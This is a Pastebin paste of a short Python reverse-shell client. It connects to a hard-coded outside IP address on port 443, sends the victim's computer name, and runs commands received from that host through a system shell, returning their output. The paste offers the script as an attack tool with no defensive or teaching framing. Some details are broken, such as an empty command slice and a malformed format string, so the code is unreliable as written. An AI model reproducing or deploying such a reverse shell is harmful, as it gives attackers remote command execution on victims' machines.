BornePlays

client revershell

May 30th, 2016
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. # Python Client Reverse Shell
  2.  
  3. import socket, os, subprocess
  4.  
  5. def connect():
  6. os.system('cls')
  7. global host
  8. global port
  9. global s
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. port = 443
  12. host = '95.146.15.133'
  13.  
  14. try:
  15. print('[*] Trying to connect to %s:5s' %str((host,port)))
  16. s.connect((host,port))
  17. print('[*] Connection Established')
  18. s.send(os.environ['COMPUTERNAME'])
  19. except socket.error as msg:
  20. print('[!] Error: ' + str(msg))
  21.  
  22. def receive():
  23. receive = s.recv(1024)
  24. if receive == 'quit':
  25. s.close()
  26. elif receive[0:5] == 'shell':
  27. proc2 = subprocess.Popen(receive[6:1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  28. stdout_value = proc2.stdout.read() + proc2.stderr.read()
  29. args = stdout_value
  30. else:
  31. args = ('[!] No valid input was given')
  32. send(args)
  33.  
  34. def send(args):
  35. send = s.send(args)
  36. receive()
  37.  
  38. connect()
  39. receive()
  40. s.close()
Add Comment
Please, Sign In to add comment